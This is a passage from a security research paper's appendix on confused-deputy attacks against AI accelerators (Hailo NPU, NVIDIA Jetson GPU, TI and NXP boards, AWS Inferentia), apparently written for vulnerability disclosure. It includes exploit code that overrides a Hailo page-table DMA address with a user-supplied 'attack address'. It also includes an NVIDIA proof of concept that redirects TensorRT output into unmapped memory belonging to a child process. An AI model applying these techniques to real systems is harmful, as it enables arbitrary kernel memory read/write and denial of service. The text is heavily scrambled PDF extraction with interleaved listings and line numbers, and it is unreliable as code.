/* Build control register. */ control = ((((gctUINT32) (0)) & ˜(((gctUINT32) ↩→ (((gctUINT32) ((((1 ? 16:16) - (0 ? 16:16) + 1) == 32) ? ˜0U : (˜(˜0U << ((1 ? 16:16) - (0 ? 16:16) + ↩→ 1))))))) << (0 ? 16:16))) | (((gctUINT32) (0x1 & ↩→ ((gctUINT32) ((((1 ? 16:16) - (0 ? 16:16) + 1) == 32) ? ˜0U : (˜(˜0U << ((1 ? 16:16) - (0 ? 16:16) + ↩→ 1))))))) << (0 ? 16:16))) | ((((gctUINT32) (0)) & ˜(((gctUINT32) ↩→ (((gctUINT32) ((((1 ? 15:0) - (0 ? ↩→ 15:0) + 1) == 32) ? ˜0U : (˜(˜0U << ((1 ? 15:0) - (0 ? 15:0) + 1))))))) << (0 ? 15:0))) | (((gctUINT32) ↩→ ((gctUINT32) ((Bytes + 7) >> 3) & ((gctUINT32) ↩→ ((((1 ? 15:0) - (0 ? 15:0) + 1) == ↩→ 32) ? ˜0U : (˜(˜0U << ((1 ? 15:0) - (0 ? 15:0) + ↩→ 1))))))) << (0 ? 15:0))); ... /* Make sure writing to command buffer and previous ↩→ AHB register is done. */ gcmkONERROR(gckOS_MemoryBarrier(Hardware->os, ↩→ gcvNULL)); ... /* Increase execute count. */ Hardware->executeCount++; /* Record last execute address. */ Hardware->lastExecuteAddress = Address; ...
... pfn = (res->start >> PAGE_SHIFT) + skipPages; ... if (remap_pfn_range(vma, vma->vm_start, pfn, numPages << PAGE_SHIFT, ↩→ vma->vm_page_prot) < 0) { F ... } ...
29 30 31 32 33 34 35 36 37 }
Listing 23: NXP: F Shows mapping of AIRMem in to Kernel Space (KS), F Shows mapping of AIRMem in to User Space (US)
static long dma_heap_ioctl(struct file *file, unsigned int ↩→ ucmd, unsigned long arg){ ... -> copy_from_user(...heap_allocation->len...) case DMA_HEAP_IOCTL_ALLOC: -> dma_heap_ioctl_allocate(file, ↩→ ...heap_allocation->len...) ³ dma_heap_buffer_alloc(heap, ↩→ heap_allocation->len,...) -> copy_to_user(...heap_allocation->fd...) ... }
45 } 46
Listing 22: NXP: shows KD submitting AVL command buffers to AIA for execution.
static long dma_buf_phys_ioctl(struct file *file, unsigned ↩→ int cmd, unsigned long arg){ ... -> copy_from_user(...fd...) case DMA_BUF_PHYS_IOC_CONVERT: ³ dma_buf_phys_convert(..,fd,..&phys); -> copy_to_user(...phys...) ... }
that belongs to the kernel or other USEs. Since only AIRMem and DMem memory regions can be accessed, we characterize the CDA in TMMA as R, W , A𝒍 , V𝒇. K. TMMA: AIA and AP shared dma heap memory Analyzing further from DeputyHunt provided information, dma_heap_ioctl as shown in Listing 25 gets its shared dma heap memory i.e., AIRMem between AIA and AP during boot as shown in Listing 29. Listing 28 shows AVL requesting a heap buffer from KD and gaining access to the buffer by mmap. Using
Listing 24: TMMA: Relevant KD entry points i.e., entry points reaching AIA relevant function dma_heap_buffer_alloc, dma_buf_phys_convert.
25
1 static
static int dma_heap_buffer_alloc(struct dma_heap *heap, ↩→ size_t len, unsigned int fd_flags, unsigned int heap_flags){ ... dmabuf = heap->ops->allocate(heap, len, fd_flags, ↩→ heap_flags); * fd = dma_buf_fd(dmabuf, fd_flags); ... return fd; }
... for (i = 0; i < heap_area_count; i++) { struct reserved_mem *rmem = ↩→ &heap_areas[i]; bool cached = ↩→ !of_get_flat_dt_prop(rmem->fdt_node, ↩→ "no-map", NULL); F int ret = ↩→ carveout_dma_heap_export(rmem->base, ↩→ rmem->size, rmem->name, cached); ... } ...
3 4 5 6
7
8
static int dma_buf_phys_convert(struct dma_buf_phys_file ↩→ *priv, int fd, u64 *phys){ ... dma_buf = dma_buf_get(fd); ... attachment = dma_buf_attach(dma_buf, dev->parent); ... sgt = dma_buf_map_attachment(attachment, ↩→ DMA_BIDIRECTIONAL); ... * dma_addr = sg_dma_address(sgt->sgl); *phys = dma_addr; ... }
9 10 11 }
12 fs_initcall(carveout_dma_heap_init_areas); 13 14 RESERVEDMEM_OF_DECLARE(dma_heap_carveout,
↩→
↩→ 17 { 18 19 20
22 23 24 25 26
struct dma_heap_allocation_data { 2 __u64 len; __u32 fd; 3 4 __u32 fd_flags; 5 __u64 heap_flags; 6 }; 1
27 28 29 30
7
10
31
dma_buf_phys_data { __u32 fd; __u64 phys;
Listing 29: Texas Instruments: F shows dma heap carveout during boot by KD (i.e. AIRMem added to DMem), F shows carved out dma heap management by KD.
Listing 26: TMMA: Structure of messages relevant to CDA sent from AVL to KD and vice versa. "/dev/mem", O_RDWR|O_SYNC) = 3
ioctl AVL requests the physical address of the heap buffer (dma_buf_phys_convert) and AVL programming SMID into
2 ... 3 mmap(NULL,
↩→
struct carveout_dma_heap *carveout_dma_heap; struct dma_heap_export_info exp_info; ... carveout_dma_heap->pool = ↩→ gen_pool_create(PAGE_SHIFT, NUMA_NO_NODE); F ... ret = gen_pool_add(carveout_dma_heap->pool, base, ↩→ size, NUMA_NO_NODE); F ... carveout_dma_heap->cached = cached; ... exp_info.name = kasprintf(GFP_KERNEL, ↩→ "carveout_%s", name); exp_info.ops = &carveout_dma_heap_ops; exp_info.priv = carveout_dma_heap; carveout_dma_heap->heap = dma_heap_add(&exp_info); ↩→ F ...
32 }
11 };
1 openat(AT_FDCWD,
int carveout_dma_heap_export(phys_addr_t base, size_t size, const char *name, bool cached)
16 static
21
9
"dma-heap-carveout", rmem_dma_heap_carveout_setup);
15
Listing 25: TMMA: AIA relevant function i.e.,KD allocating shared buffer from AIA accessible pool and conveying FD (AVL mmap) and SMID to AVL (*).
8 struct
int __init carveout_dma_heap_init_areas(void)
2{
66846720, PROT_READ|PROT_WRITE, MAP_SHARED, 3, 0xac040000) = 0xffffa712e000
AIRMem as shown in Listing 27. Which is used by AIA to access the SMem.
4 5#
memory scanning of AIRMem 6 0xac041000 + 0x50 -> 0xB8000000 heap_ptr (SMID) 7 0xac041000 + 0x85 -> 0xB8576000 heap_ptr (SMID) 8 0xac041000 + 0xc5 -> 0xB8577000 heap_ptr (SMID)
L. HAILO NPU
9
We used the Raspberry Pi AI HAT+ [98] that has Raspberry Pi 5 as base board with Arm Cortex A76 processor as its AP and contains Hailo-8 NPU and with Debian GNU/Linux 12 (bookworm) Distro [99] as the host OS. We created our AUA using Hailo runtime API’s, it uses Hailo Executable Format model [128], [129] and configured it to use the NPU. Model can be created using AF and will be converted to Hailo Executable Format using Hailo software suite [128]. We referred to the publicly available documentation [98] and identified that NPU is connected to AP through PCI Interface, also verified with lspci. The address ranges for AIMem as shown in Table VIII. CDA Relevant Information. DeputyHunt pointed out that hailo_desc_list_create and hailo_vdma_buffer _map as the AIA relevant functions handling SMem (Listing 55) as shown in Listing 31. It also pointed out HAILO_DESC_LIST_CREATE and HAILO_VDMA_BUFFER_MAP as our
Listing 27: Texas Instruments: AIRMem memory scanning example showing AVL programming SMID into AIRMem. 1 openat(AT_FDCWD,
"/dev/dma_heap/carveout_vision_apps_shared-memories", O_RDONLY|O_CLOEXEC) = 5 2 # ioctl call requesting for buffer in dma heap 3 ioctl(5, DMA_HEAP_IOCTL_ALLOC, 0xffffe933f528) = 0 4 mmap(NULL, 5630332, PROT_READ|PROT_WRITE, MAP_SHARED, 35, ↩→ 0) = 0xffffa2768000 ↩→ ↩→
5 6 openat(AT_FDCWD,
"/dev/dma-buf-phys", O_RDONLY|O_CLOEXEC) = 36 7 # ioctl call requesting for physical address of dma heap ↩→ buffer 8 ioctl(36, _IOC(_IOC_READ|_IOC_WRITE, 0x44, 0, 0x10), ↩→ 0xffffe933f4a0) = 0 ↩→
Listing 28: Texas Instruments: strace of AVL, requesting heap allocation, mapping FD and requesting physical address of heap buffer.
26
1#
Memory regions
quests are done through hailo_desc_list_create_params structure along with HAILO_DESC_LIST_CREATE and HAILO_VDMA_BUFFER_MAP command as presented in Table III. CDA Validation. Given that the SMID is the NPU pagetable base physical address, the attacker can choose an SMID corresponding to any address in SMem. The NPU will use this SMID to perform pagetable walks. The entries in the attacker-chosen SMID can map privileged SMem to the AIA. Using the CDA, the attacker can read/write privileged SMem by triggering inference requests. Moreover once an application releases the NPU, the KD leaves the NPU pagetable entries intact and no memory scrubbing is performed. The L1 page table is allocated from device capable DMem, and we observed that multiple runs of the same application always used same physical addresses for the L1 page table. Thereby making it possible for an attacker to predict the physical address of the L1 page table. We verified this by creating an exploit with details in Appendix N. To check CDA (§ VII-C6), we created a privileged kernel victim page in DMem and wrote a known pattern to it. Then, in our exploit, we selected an SMID corresponding to page containing the address of victim page and sent an inference request. After the inference request, we read the privileged page and observed that the known pattern was altered, and overwritten with model output probability values confirming that CDA is possible. (more details in Appendix N). Given that, NPU is capable of accessing entire SMem and the attacker can fully perform an arbitrary read/write to any chosen addresses, we classify the CDA in NPU as R, W , A 𝒇 , V 𝒇 .
2 ...
[ {"start_address": ↩→ "0x00000008e0000000","size_readable": "512 MiB",}, {"start_address": ↩→ "0x00000000a0000000","size_readable": "1 MiB",}, {"start_address": ↩→ "0x00000000a0100000","size_readable": "15 MiB",}, {"start_address": ↩→ "0x00000000a1000000","size_readable": "1 MiB",}, {"start_address": ↩→ "0x00000000a1100000","size_readable": "15 MiB",}, {"start_address": ↩→ "0x00000000a2000000","size_readable": "1 MiB",}, {"start_address": ↩→ "0x00000000a2100000","size_readable": "31 MiB",}, {"start_address": ↩→ "0x00000000a4000000","size_readable": "1 MiB",}, {"start_address": ↩→ "0x00000000a4100000","size_readable": "31 MiB",}, {"start_address": ↩→ "0x00000000a6000000","size_readable": "1 MiB",}, {"start_address": ↩→ "0x00000000a6100000","size_readable": "15 MiB",}, {"start_address": ↩→ "0x00000000a7000000","size_readable": "1 MiB",}, {"start_address": ↩→ "0x00000000a7100000","size_readable": "15 MiB",}, {"start_address": ↩→ "0x00000000a8000000","size_readable": "1 MiB",}, {"start_address": ↩→ "0x00000000a8100000","size_readable": "15 MiB",}, {"start_address": ↩→ "0x00000000a9000000","size_readable": "1 MiB",}, {"start_address": ↩→ "0x00000000a9100000","size_readable": "15 MiB",}, {"start_address": ↩→ "0x00000000ac000000","size_readable": "96 MiB",}, {"start_address": ↩→ "0x00000000b2000000","size_readable": "1 MiB",}, {"start_address": ↩→ "0x00000000b2100000","size_readable": "95 MiB",}, {"start_address": ↩→ "0x00000000d8000000","size_readable": "192 MiB",}, {"start_address": ↩→ "0x00000000e4000000","size_readable": "8 MiB",}, {"start_address": ↩→ "0x00000000e4800000","size_readable": "24 MiB",}, {"start_address": ↩→ "0x0000000880000000","size_readable": "624 MiB",}
3 "reserved_memory": 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
M. HAILO NPU Page tables From DeputyHunt provided information, hailo_desc _list_create allocates memory for L1 AIA pagetable and hailo_vdma_buffer_map maps US pages to AIA i.e., dma address of US page will be programmed to L1 pagetable as shown in Listing 31. The page granularity is 64KB. From DeputyHunt provided information, further analysis on hailo_desc_list_create_params message structure shows pagetable physical address (i.e., L1 base address) is communicated to AVL as shown in Listing 32. In their design its needed as the physical address is required for CONTEXT _SWITCH firmware controls.
28 ], 29
[ {"zone_name": "DMA","start_address": ↩→ "0x0000000080000000",}, {"zone_name": "DMA32","start_address": null,}, {"zone_name": "Normal","start_address": ↩→ "0x0000000100000000",}
30 "memory_zones": 31 32 33 34 ], 35 ...
Listing 30: TMMA: DeputyHunt provided SMem information. relevant KD entry points, as these ioctl commands trigger the above functions as shown in Listing 32. DeputyHunt also pointed out that hailo_desc_list _create, hailo_vdma_buffer_map configured SMem through HAILO NPU specific page tables, NPU can be used by one USEs at any given time, while NPU pagetable entries populated by KD the NPU pagetable base (SMID) is communicated to US, thereby giving attacker control of directing NPU from which physical address AIA can perform pagetable walk. We provide more information about the structure of the AIA’s page table in Appendix M. The results of this step are summarized in Table II. DeputyHunt also revealed that mapping re-
N. HAILO NPU CDA Exploit Since the attacker has control over AIA pagetables as shown in § M, and as shown in Listing 34, when AVL constructs command buffers for AIA it encodes DMA addresses. The attacker can choose a DMA address that corresponds to memory regions that the attacker controls and populate the values in memory. When this address is encoded in command buffers and submitted to AIA, AIA will perform a pagewalk using its pagetables from the attacker-controlled pagetable base and fetch the values from attacker-controlled memory regions. Moreover, the L1 pagetable address is communicated to AVL, which is allocated by KD from
27
int hailo_desc_list_create(struct device *dev... struct hailo_descriptors_list_buffer *descriptors) { * descriptors->kernel_address = ↩→ dma_alloc_coherent(dev, buffer_size, &descriptors->dma_address...); }
long hailo_vdma_ioctl(...) { switch (cmd) { case HAILO_VDMA_BUFFER_MAP: ³return hailo_vdma_buffer_map_ioctl(context, ↩→ controller, arg); ... case HAILO_DESC_LIST_CREATE: ³return hailo_desc_list_create_ioctl(context, ↩→ controller, arg); ... } }
long hailo_desc_list_create_ioctl(...) { struct hailo_desc_list_create_params params; ... *if (copy_from_user(¶ms, (void __user*)arg, ↩→ sizeof(params))) { ... } ... err = hailo_desc_list_create(controller->dev, ↩→ params.desc_count, params.desc_page_size, next_handle, ↩→ params.is_circular, descriptors_buffer); ... // Note: The physical address is required for ↩→ CONTEXT_SWITCH firmware controls params.dma_address = descriptors_buffer->dma_address; ... *if(copy_to_user((void __user*)arg, ¶ms, ↩→ sizeof(params))){ ... } ... }
Listing 32: HAILO NPU: Relevant KD entry points i.e., entry points reaching AIA relevant function hailo_desc_list_create, hailo_vdma_buffer_map.
hailo_desc_list_create_params { size_t desc_count; // in uint16_t desc_page_size; // in bool is_circular; // in uintptr_t desc_handle; // out uint64_t dma_address; // out
1 struct 2 3 4 5 6 7 };
Listing 33: HAILO NPU: Structure of messages relevant to CDA sent from AVL to KD and vice versa.
struct hailo_vdma_buffer *hailo_vdma_buffer_map(struct ↩→ device *dev...) { ret = prepare_sg_table(&sgt, user_address, size...); ... $sgt.nents = dma_map_sg(dev, sgt.sgl, sgt.orig_nents, ↩→ direction); ...
1 Expected<DescriptorsListInfo>
↩→ ↩→
} 2
long hailo_vdma_buffer_map_ioctl(...) { struct hailo_vdma_buffer_map_params buf_info; $if (copy_from_user(&buf_info, (void __user*)arg, ↩→ sizeof(buf_info))) { ... } ... mapped_buffer = hailo_vdma_buffer_map(controller->dev, ↩→ buf_info.user_address, buf_info.size...); ... $if (copy_to_user((void __user*)arg, &buf_info, ↩→ sizeof(buf_info))) { ... } ... }
HailoRTDriver::descriptors_list_create(size_t desc_count, uint16_t desc_page_size, bool is_circular)
3{ 4 5 6
7 8 9
10 11 12 13 14
Listing 31: HAILO NPU: AIA relevant function i.e.,KD pinning user pages and mapping for dma ($), (*) Shows communicating SMID (L1 page table base) to US.
15 16 17 18
DMem, and we observed across multiple runs that the same physical address is allocated for the L1 pagetable. At the end, memory entries are left intact and not cleared. The attacker can choose DMA addresses that correspond to L1 pagetable entries and modify them to gain access to the entire SMem.
19 20 21 22
hailo_desc_list_create_params create_desc_info{}; ... RUN_AND_CHECK_IOCTL_RESULT(HAILO_DESC_LIST_CREATE, ↩→ &create_desc_info, "Failed to create desc list"); ↩→ F std::cout << "###### Start attack ######" << ↩→ std::endl; std::cout << "Enter 1 to attack or 0 to skip: " << ↩→ std::endl; std::cout << "Current address to attack: 0x" << ↩→ std::hex << create_desc_info.dma_address << ↩→ std::dec << std::endl; int to_continue = 0; std::cin >> to_continue; if (to_continue == 1) { LOGGER__INFO("Continuing to attack..."); std::cout << "Enter address to attack: " << ↩→ std::endl; std::string attack_address; std::cin >> attack_address; create_desc_info.dma_address = ↩→ std::stoul(attack_address, nullptr, 16); F std::cout << "Attacking address: 0x" << std::hex ↩→ << create_desc_info.dma_address << std::dec ↩→ << std::endl; } else { LOGGER__INFO("Skipping attack..."); } return ↩→ DescriptorsListInfo{create_desc_info.desc_handle, ↩→ create_desc_info.dma_address}; F
23 }
O. NVIDIA GPU
Listing 34: HAILO NPU: F shows AVL requesting KD to create descriptor and get the SMID.
We used the Jetson AGX Orin Developer Kit [80] that has Arm Cortex-A7 as its AP and contains GPU and Deep Learning Accelerator (DLA) and with Ubuntu 20.04.6 LTS Distro [100]
28
be used to map to GPU pagetables by issuing NVGPU_AS_IOCTL_MAP_BUFFER_EX handled by AVL (libnvrm_gpu.so) and SMID(offset) will be sent to USE. Second, the attacker unmaps the page using munmap. This will remove the mapping from the attacker’s address space. However, KD is unaware of this, and the AIA’s virtual address (i.e., attk_addr) is still mapped to the physical address (which the attacker does not have access to and might be assigned to other processes or kernel). Finally, the attacker sends inference requests using attk_addr (more details in Appendix Q), thereby causing AIA to access (read and write) restricted (i.e., unmapped) memory regions, potentially containing sensitive code/data. We verified this attack through a working exploit. The attacker can fully control the value that gets written (V 𝒇 ). However, the attacker does not have full control of how the unmapped physical page (i.e., restricted memory region) will be used by the kernel. We classify this as no address control (A𝒏 ). Table III summarizes the CDA classification.
with Jetson Linux as the host OS. We created our AUA using CUDA [130] and configured it to use the GPU. We referred to the publicly available documentation [101] and identified that GPU is connected to AP through custom interconnect. Both AP and AIA use shared SMem. Analyzing device tree, provided the address range for AIMem as shown in Table VIII. CDA Relevant Information. DeputyHunt pointed out that nvmap_ioctl_create_from_va, nvgpu_vm_map _buffer as the AIA relevant function handling SMem (Listing 56) as shown in Listing 35. It also pointed out NVMAP_IOC_FROM_VA, NVMAP_IOC_GET_FD and NVGPU_AS_IOCTL_MAP_BUFFER_EX as our relevant KD entry points, as these ioctl commands trigger the above function as shown in Listing 36. DeputyHunt also pointed out that nvmap_ioctl_create_from_va, nvgpu_vm_map_buffer configured SMem through NVIDIA GPU specific page tables, GPU can be used by multiple USEs, and each get their own set of GPU pagetables, which are populated by KD. GPU virtual address (SMID) is communicated to US. While this design is more secure, it has TOCTOU issue [91] same as Coral (§ C). We provide more information about the structure of the AIA’s page table in Appendix P. The results of this step are summarized in Table II. DeputyHunt also revealed that mapping requests are done through nvmap_create_handle_from_va, nvmap_create_handle, nvgpu_as_map_buffer_ex_args structure along with NVMAP_IOC_FROM_VA, NVMAP_IOC_GET_FD and NVGPU_AS_IOCTL_MAP_BUFFER_EX commands as presented in Table III. CDA Validation. Given that the SMIDs are GPU virtual address, the attacker can only choose SMID corresponding to a page mapped to GPU. However, to get a SMID for a restricted memory region, it should be first mapped to GPU page table. But, KD programs all mapping requests and ensures that mapping can only be performed to those memory regions for which the requesting USE has access. Given that multiple USE can share the GPU and each process their own GPU page tables. Consequently, it is not possible to get SMID for arbitrary restricted memory regions. However, the stale memory check (§ VII-C6) revealed that SMID remains valid for stale memory regions. Specifically, SMID created for a memory page remains valid even after the page is unmapped. This is because KD unmaps memory regions of a USE from AIA only at the teardown (not when the page is unmapped). This causes a TOCTOU issue [91], resulting in SMID for a restricted memory region. Listing 38 shows the example. First, the attacker sends a mapping request with a valid page to KD (i.e., cudaHostRegister) a certain AIA virtual address (i.e., attk_addr) will be returned by KD to the attacker(i.e., cudaHostGetDevicePointer). User provided virtual address is exported as dmabuf file descriptor using NVMAP_IOC_FROM_VA and NVMAP_IOC_GET_FD handled by AVL (libnvrm_mem.so), this FD will
P. NVIDIA GPU Page tables NVIDIA GPU consists of multi-level page tables, as shown in Listing 39. For every US execution request, context switch happens for pagetables and each US have its own set of pagetables. Multiple US can run on NVIDIA GPU simultaneously. A file descriptor is created for each US page by KD and communicated to AVL(libnvrm_mem.so). Later AVL(libnvrm_gpu.so) request KD to map pages backed by this file descriptor to NVIDIA GPU pagetables. KD maps and communicates the SMID(GPU virtual address) to AVL which is used to construct command streams for NVIDIA GPU. Q. NVIDIA GPU CDA Exploit As shown in Listing 38, even when mappings are removed from parent process(attacker), attacker was able to alter memory contents of other process(i.e., child) by sending inference requests with SMID corresponding to victim process memory regions. This is possible because NVIDIA GPU does not clear pagetable entries when mappings are removed from parent process. R. AWS Inferentia (AWS INF) We used the EC2 inf1.xlarge [102] instance that has AWS INF AIA with 4 x86 CPU’s as its AP and each AIA has 8GB internal memory. and with amazon/Deep Learning AMI Neuron (Ubuntu 22.04) as the host OS. We created our AUA using PyTorch and configured it to use the AIA. We referred to the publicly available documentation [104] and identified that AIA is connected to AP through PCI bus and used lspci -mm command to extract AIMem as shown in Listing 43. AVLs and KD device files identified by the data extraction phase are shown in Table VIII. CDA Relevant Information. DeputyHunt identified the AIA relevant functions SMem handling functions as summarized in Table II. The corresponding LLM response is shown in Listing 57.
29
static long nvmap_ioctl(struct file *filp, unsigned int ↩→ cmd, unsigned long arg) { ... switch (cmd) { ... case NVMAP_IOC_FROM_VA: ³nvmap_ioctl_create_from_va(filp, uarg); break;
int nvmap_ioctl_create_from_va(struct file *filp, void ↩→ __user *arg) { struct nvmap_create_handle_from_va op; struct nvmap_handle_ref *ref = NULL; struct nvmap_handle *handle = NULL;
case NVMAP_IOC_GET_FD: ³nvmap_ioctl_getfd(filp, uarg); break; ... }
if (copy_from_user(&op, arg, sizeof(op))) ... *ref = nvmap_create_handle_from_va(client, op.va, op.size ? op.size : op.size64, op.flags);
long gk20a_as_dev_ioctl(struct file *filp, unsigned int ↩→ cmd, unsigned long arg) { ... if (copy_from_user(buf, (void __user *)arg, ↩→ _IOC_SIZE(cmd))) return -EFAULT; ... switch (cmd) { ... case NVGPU_AS_IOCTL_MAP_BUFFER_EX: -> gk20a_as_ioctl_map_buffer_ex(...(struct ↩→ nvgpu_as_map_buffer_ex_args *)buf); ³nvgpu_vm_map_buffer break; ... }
... handle = ref->handle; err = nvmap_alloc_handle_from_va(client, handle, op.va, op.flags); ... dmabuf = is_ro ? ref->handle->dmabuf_ro : ↩→ ref->handle->dmabuf; if (client->ida) { err = nvmap_id_array_id_alloc(client->ida, ↩→ &id, dmabuf); ... op.handle = id; if (copy_to_user(arg, &op, sizeof(op))) { ... }
Listing 36: NVIDIA GPU: Relevant KD entry points i.e., entry points reaching AIA relevant function nvmap_ioctl_create_from_va, nvgpu_vm_map_buffer.
*fd = nvmap_get_dmabuf_fd(client, ref->handle, ↩→ is_ro); op.handle = fd;
The message semantics information from DeputyHunt also revealed that allocation, data movement, and physical address requests are done through NEURON_IOCTL_MEM_ALLOC and NEURON_IOCTL_MEM_BUF_COPY, NEURON_IOCTL_MEM_GET_PA commands, respectively. These details are presented in Table III. (Details in Listing 42 of Appendix). DeputyHunt also pointed out that mc_alloc_internal allocates memory from SMem or AIMem and AIA accesses SMem through DMA descriptors. CDA validation. SMIDs (i.e., pa) are selected by KD. AVL using ioctl commands (NEURON_IOCTL_MEM_GET_PA) knows SMID of data buffers in both SMem and AIMem. It constructs the DMA rings and requests KD to submit to DMA controller for data movement. KD does not check if the SMID (Internal to AIA memory) is valid or not in command buffers that are constructed by AVL and submitted to AIA. This allows the attacker to choose any SMID within AIMem region, trigger an inference request, and make AIA write to the restricted memory. We verified this through an exploit, where we caused the AIA to be non-responsive even after the application is terminated. The server needs to be rebooted to make AIA functional. In other words, a compromised user-mode process(even containerized) can make AIA dysfunctional and unavailable even after the process is terminated. This is extremely severe in cloud scenarios where AIA could be shared across multiple applications in a VM. We provide more details of our exploit in Appendix T. Given that the attacker can fully perform an arbitrary read-write to AIMem addresses only owned by other processes, we classify the CDA in AWS INF as R, W , A𝒍 , V 𝒇 .
*err = nvmap_install_fd(client, ref->handle, fd, arg, &op, sizeof(op), 1, ↩→ dmabuf); ... } int nvgpu_vm_map_buffer(struct vm_gk20a *vm, int ↩→ dmabuf_fd, u64 *map_addr ...) { ... dmabuf = dma_buf_get(dmabuf_fd); ... $err = nvgpu_vm_map_linux(vm, dmabuf, *map_addr, ↩→ map_access, core_flags, page_size, compr_kind, incompr_kind, buffer_offset, mapping_size, batch, &ret_va); if (!err) $ *map_addr = ret_va; }
Listing 35: NVIDIA GPU: AIA relevant functions i.e.,, ($) Shows KD mapping US pages(backed by FD) to NVIDIA GPU, (*) Shows KD getting US virtual address, getting dma buf FD for the page and communicating FD to US.
30
1 struct 2 3 4 5 6 7 8
nvmap_create_handle_from_va { __u64 va; /* FromVA*/ __u32 size; /* non-zero for partial ↩→ memory VMA. zero for end of VMA */ __u32 flags; /* wb/wc/uc/iwb, tag ↩→ etc. */ union { __u32 handle; /* returns ↩→ nvmap handle */ __u64 size64; /* used when ↩→ size is 0 */ };
9 }; 10 11 struct 12 13 14
nvmap_create_handle { union { struct { union {
16 17
19
21
23 24 25 26 27
28 29 31
/* size64 will be ↩→ overwritten */ __u64 size64; /* ↩→ CreateHandle */ __u32 handle64; /* returns ↩→ nvmap handle */
34 35
24
/* * create list of binding buffers */
27
...
28
for( uint32_t n=0; n < GetOutputLayers(); n++ ) mBindings[mOutputs[n].binding] = ↩→ mOutputs[n].CUDA;
29 30
...
31
SetStream(stream); ↩→ stream
32
34 } 35 36 37 /*
Global pointer to GPU memory - used to redirect TensorRT output 40 // This allows the inference engine to write to our ↩→ controlled memory 41 extern void *cdaGpuPtr; // declared in tensorNet.cpp 42 43 int
43 44 45
45
49
nvgpu_as_map_buffer_ex_args { /* NVGPU_AS_MAP_BUFFER_FLAGS_DIRECT_KIND_CTRL must ↩→ be set */ __u32 flags; /* in/out */ __s16 compr_kind; __s16 incompr_kind;
48
/* in */ /* inout, 0:= best fit to
51
54 55
56 57
52 53 54 56
58
__u64 buffer_offset; /* in, offset of ↩→ mapped buffer region */ __u64 mapping_size; /* in, size of mapped ↩→ buffer region */
59 60 61 62 63
52 53
51
57
49 50
50
55
__u32 dmabuf_fd; __u32 page_size; ↩→ buffer */
__u64 offset; ↩→ this address if flag
... void *buf; int pageSize = 4096;
48
46 47
main(int argc, char** argv)
44 {
40 42
Main application code
38 */
47
}; };
39 }; 41 struct
// set default device
...
33
46
};
36 38
23
↩→
33
37
20 21
39 //
union {
32
19
26
}; struct {
30
18
25
/* one is input parameter, and ↩→ other is output parameter * since its a union please note ↩→ that input parameter * will be overwritten once ioctl ↩→ returns */ union { __u64 ivm_id; /* ↩→ CreateHandle from ↩→ ivm*/ __u32 ivm_handle;/* Get ↩→ ivm_id from handle */ };
22
l.CPU = (float*)outputCPU; l.CUDA = (float*)outputCUDA; ... // Patch the address l.CUDA = reinterpret_cast<float*>(cdaGpuPtr); std::cout << "Patched CUDA address of output layer ↩→ "<< std::endl; ... }
17
22
/*
}; struct {
20
3 bool
16
}; __u32 handle; ↩→ returns nvmap handle */
18
tensorNet.cpp LoadEngine tensorNet::LoadEngine( nvinfer1::ICudaEngine* ↩→ engine...) 4{ 5 ... 6 nvinfer1::IExecutionContext* context = ↩→ engine->createExecutionContext(); 7 ... 8 /* 9 * setup network output buffers 10 */ 11 ... 12 for( int n=0; n < numOutputs; n++ ) 13 { ... 14 layerInfo l; 2 //
15
/* size will be ↩→ overwritten */ __u32 size; /* ↩→ CreateHandle */ __s32 fd; /* ↩→ DmaBufFd or FromFd */
15
1 //
/* in/out, we use
64
* FIXED_OFFSET is set. ↩→ This will fail * if space is not ↩→ properly allocated. ↩→ The * actual virtual address ↩→ to which we mapped * the buffer is returned ↩→ in this field. */
65
58 };
Listing 37: NVIDIA GPU: Structure of messages relevant to CDA sent from AVL to KD and vice versa.
66 67 68 69 70 71 72 73 74 75 76 77 78 79
31 80
buf = mmap(NULL, pageSize, PROT_READ PROT_WRITE, ↩→ MAP_ANONYMOUS MAP_PRIVATE, -1, 0); ... cudaError_t err = cudaHostRegister(cpuPtr, pageSize, ↩→ cudaHostRegisterMapped); ... void* gpuPtr = NULL; err = cudaHostGetDevicePointer(&gpuPtr, cpuPtr, 0); ... // Save GPU pointer for later use by TensorRT ↩→ (redirects inference output) cdaGpuPtr = gpuPtr; ... pid_t pid = fork(); ... else if (pid == 0) { // CHILD PROCESS: while (true) { printf("[CHILD] Memory content (first 32 ↩→ bytes): "); for (int i = 0; i < 32; i++) { printf("%02x ", ((unsigned char*)buf)[i]); } printf("\n"); sleep(1); } } // PARENT PROCESS: munmap(buf, pageSize); ... // Create GoogleNet network imageNet* net = imageNet::Create("googlenet"); ... int classID = net->Classify(img, width, height, ↩→ &confidence); ...
81 }
Listing 38: NVIDIA GPU: F shows AVL requesting KD to get
1 [Debug]
Entered gk20a_as_ioctl_map_buffer_ex nvgpu_as_map_buffer_ex_args dmabuf_fd: 43 nvgpu_as_map_buffer_ex_args offset: 0x202cce000 4 [Debug] nvgpu_as_map_buffer_ex_args flags: 785 5 [Debug] nvgpu_as_map_buffer_ex_args page_size: 4096 6 ... 2 [Debug]
static int mc_alloc_internal(struct neuron_device *nd, ↩→ ...)
3 [Debug]
{ ... if (location == MEM_LOC_HOST) { § mc->va = dma_alloc_coherent(...); mc->pa = (phys_addr_t)addr; ... } else { ... * mc->va = (void *)gen_pool_alloc_algo(pool, ↩→ size...); ... * mc->pa = gen_pool_virt_to_phys(mc->gen_pool, ↩→ (unsigned long) mc->va); ... * mc->va = gen_pool_dma_alloc(pool, size, ↩→ &mc->pa); ... }
7 8 [DBG]
↩→ ↩→
vm=as_17 MAP GPU virt 0x202cce000 0x39bfd1000 phys offset: 0x0 ; pgsz: kind=0x6 APT=SYSTEM ---VA
+0x1000 phys 4kb perm=RW
9 10 [DBG]
↩→
L=0 GPU virt 0x202cce000 0x39bfd1000
+0x1000
-> phys
11 12 [DBG]
PDE: i=0 size=8 offs=0 pgsz: -- GPU 0x202cce000 phys 0x4e4cec [0x00000000, 0x4e4cec0e] 13 [DBG] L=1 GPU virt 0x202cce000 +0x1000 -> phys ↩→ 0x39bfd1000 ↩→
14 15 [DBG]
PDE: i=0 0x202cce000 0x481b480e] 16 [DBG] L=2 ↩→ 0x39bfd1000 ↩→ ↩→
size=8 offs=0 phys 0x481b48
pgsz: -- GPU [0x00000000,
... }
GPU virt 0x202cce000
+0x1000
